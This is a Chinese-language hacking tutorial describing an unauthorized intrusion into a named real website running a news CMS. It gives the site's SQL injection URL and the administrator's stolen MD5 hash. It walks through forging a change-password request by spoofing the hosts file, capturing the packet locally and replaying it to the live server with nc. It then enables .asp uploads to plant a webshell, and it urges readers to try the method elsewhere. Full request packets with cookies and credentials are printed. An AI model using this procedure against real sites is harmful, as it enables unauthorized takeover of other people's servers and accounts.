很多大侠都是通过查看程序的源代码发现漏洞的。但是由于我才刚开始学ASP,所以还没有达到这种境界。虽然搜索漏洞不方便,但偏偏一些程序就让被我找出来点东西。
自从以前看了个"动网upfile漏洞利用动画",我对抓包修改有了初步了解。当时就感觉用途不只是上传那么简单。于是爱死了WinSock Expert,经常有事没事拿着他分析下提交的数据包。往往在不经意间,有很大的收获。最近就用它发现了几个安全漏洞。
图1是笔者以前侵入过的一个站点。据说那次事件过后,该网已经开始重视Web安全了。这次我抱着帮他检测漏洞的心态,瞧瞧能不能再侵入并放个页面上去。
该网站使用的是沸腾3AS流浪尘缘新闻系统(核心:尘缘雅境图文系统)V0.45 ACCESS版build 1程序。
screen.width-333)this.width=screen.width-333" border=0 twffan="done"大家都知道尘缘雅境有个漏洞Uploadfaceok.asp可以上传ASP木马。管理员似乎知道这里有问题。默认数据库地址也不在。
转来转去,感觉这个站点有点让人摸不着头脑了,就好像有人故意在留后门一样,这个版本的尘缘新闻系统本来不应该存在漏洞的,但是在浏览信息的时候却发现他用的是ReadNews1.asp 这个文件,并没有用原来的ReadNews.asp,很奇怪,随手输入一个',竟然存在注入漏洞,明显没有过滤。http://lovefree.org/wenzhang/wenzhang/ReadNews1.asp?NewsID=173是个注入点[Y2] (图2),
screen.width-333)this.width=screen.width-333" border=0 twffan="done"但是将文件名改为readnews.asp?newsid=173却被过滤了。而站点首页又显示的是readnews1.asp,很可能是管理员修改过文件的什么地方,由于不懂注入漏洞,所以看不出来那段防止注入的代码含义,最后不小心把原来用来防止注入的部分取掉了。就是说尘缘雅境系统本来不存在这个注入点,现在却被无意中制造了一个。注入之后得到的密码,也就是数据库中的密码值是MD5加密过的,这个"地球人都知道"。
MD5破解不开,我就想到了WinSock Expert抓包修改,因为我记得尘缘雅境这个程序在后台管理员修改密码的时候,并没有让输入原始密码,而默认密码框中是原始密码的MD5值。就是说,如果你修改密码,会提交新的密码,但是需要验证旧的密码的MD5值。现在既然拿到了MD5值,就可以修改密码了,还有一点要注意的是抓报的时候要看清楚包的内容,看看它除了要验证旧密码的MD5值以外,还会验证什么。
那么还是下载这个版本,看看后台有什么经过修改可以拿webshell的。在本机上打开iis服务,访问初始化程序的后台页面。后台有个管理员修改密码的地方,我猜想如果程序在修改后台密码的时候如果使用cookies验证方式,那么我们就可以直接提交相映的数据包,如果包中内容符合程序要求,程序就会认为合法,则执行修改管理员密码的代码。下面是我在修改密码的时候抓的数据包(图3)
screen.width-333)this.width=screen.width-333" border=0 twffan="done"主要是想看看修改密码都需要什么信息,需要包中符合哪些内容。我在本机上的iis服务器ip为192.168.32.21,下面是包内容:
---------------------------------------------------------------------------------------
Cookie: ASPSESSIONIDQSTCRBQS=IGCLHDBBPLKKLEAAPKGHCLPH; reglevel=; fullname=%D0%A1%B7%D1; purview=99999; KEY=super; UserName=base; Passwd=279d34fa1dfd71aa
username=base&passwd=22222&passwd2=22222&fullname=%D0%A1%B7%D1&depid=8&oskey=super&shenhe=1&cmdok=+%D0%DE+%B8%C4+
-------------------------------------------------------------------------------------
下面就是需要验证的Cookie内容
Cookie: ASPSESSIONIDQSTCRBQS=IGCLHDBBPLKKLEAAPKGHCLPH; reglevel=; fullname=%D0%A1%B7%D1; purview=99999; KEY=super; UserName=base; Passwd=279d34fa1dfd71aa
这些是需要的信息。不需要都看懂,只要知道有username,Passwd,purview,KEY,fullname,这个几个值需要验证,就是让他们符合要求。再看看数据库,它们都在admin表下。也就是说,我现在可以通过注入弄到它们。purview=99999,KEY=super这两个是说明其为超级管理员,不变,最重要的就是剩下的三个值。
Username=admin, Passwd= 24a2b13f36f9f99c, fullname=doudou(都是通过nbsi工具注入得到的值)[Y4] ,我们就用这些来欺骗。现在包对应的值有了,包内容如果现在提交,就会出现修改成功,这样会把我本机的初始尘缘雅静程序密码改掉。要改的可是他的啊,怎样做到最简便呢?我们知道包内容里面有被修改程序的ip地址,当然也可以改,可是改了以后还要计算并修改包大小值,这样子很麻烦,还不如我们不修改包了。就先欺骗自己的机子,让自己以为自己所架设的服务器ip地址就是域名lovefree.org,然后抓包,再让自己的机子认为lovefree.org又指向原来的地方,那么我们就不用再改动包的内容了。做法很简单。
要做的是让我自己的电脑认为站点_blank>http://lovefree.org/wenzhang/wenzhang/在我的ip上,而且对应得路径就是我安装的尘缘雅静初始化程序地址。改E:\WINDOWS\system32\drivers\etc\下的hosts文件,加一行:
192.168.32.21 lovefree.org(图4)
screen.width-333)this.width=screen.width-333" border=0 twffan="done"然后设置iis服务器,加上个虚拟目录wenzhang/wenzhang指向尘缘雅境在自己机子上的目录。好了,现在在浏览器上输入http://lovefree.org/wenzhang/wenzhang就是我的机子上的初始的尘缘雅境了,(图5)
screen.width-333)this.width=screen.width-333" border=0 twffan="done"这样的目的是抓到的包等一下可以直接提交给真实的服务器一样(可以在后台改,fullname是管理员的全名)。" target=http://lovefree.org/wenzhang/wenzhang地址,不需要修改包的大小,而为了保证大小一样,在我们机子上的username=admin,fullname=doudou,也设置的和远程服务器一样(可以在后台改,fullname是管理员的全名)。
一切就绪,现在开始再抓一次修改密码的包,为了方便起见我已经把管理员信息改为username=admin,fullname=doudou了,剩下包里需要修改的信息,就是md5的密码值,因为md5加密后都是16位的,不影响包大小。
---------------------------------------------------------------------------------------
POST /admin/saveedit.asp?id=1 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, application/x-shockwave-flash, */*
Referer: _blank>http://www.xijing.com.cn/admin/useredit.asp?id=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)
Host: www.xijing.com.cn
Content-Length: 110
Connection: Keep-Alive
Cache-Control: no-cache
(下面是coocike验证内容)
Cookie: NB796459377Vote1=1; ASPSESSIONIDQSTCRBQS=MGCLHDBBGDELLJGJGJHGKBML; reglevel=; fullname=doudou; KEY=super; UserName=admin; purview=99999; Passwd=24a2b13f36f9f99c
(下面是修改信息)
username=admin&passwd=abend&passwd2=abend&fullname=doudou&depid=10&oskey=super&shenhe=1&cmdok=+%D0%DE+%B8%C4+
---------------------------------------------------------------------------------------
看到了,包和真的一样!简直就像从他的服务器上抓来的。这样我们要改的,就只有passwd的md5值了,就是说,只要这个也匹配,真正的lovefree.org服务器就会认可。改为24a2b13f36f9f99c就是注入得到的密码md5值。现在把host文件的内容改回来,改回来之后,再输入域名lovefree.org就是打开真实地址了。用nc提交(图6)
screen.width-333)this.width=screen.width-333" border=0 twffan="done"哈哈!恭喜您!您的资料已经修改成功! 2秒钟后返回上页!
现在密码就是abend。用它来登录后台,到网站属性改"上传文件类型:"多加一个asp,就可以上传asp木马。
就针对尘缘雅境来说,虽然大家可能没我那么幸运,刚好有个readnews1.asp文件没加过滤,但是如果不小心拿到了数据库,也不至于看着md5发愁了吧?其实还有很多程序都存在这样的问题,如果你拿到了某站管理员的md5值,不妨用这种方法试一下,也许有很大收获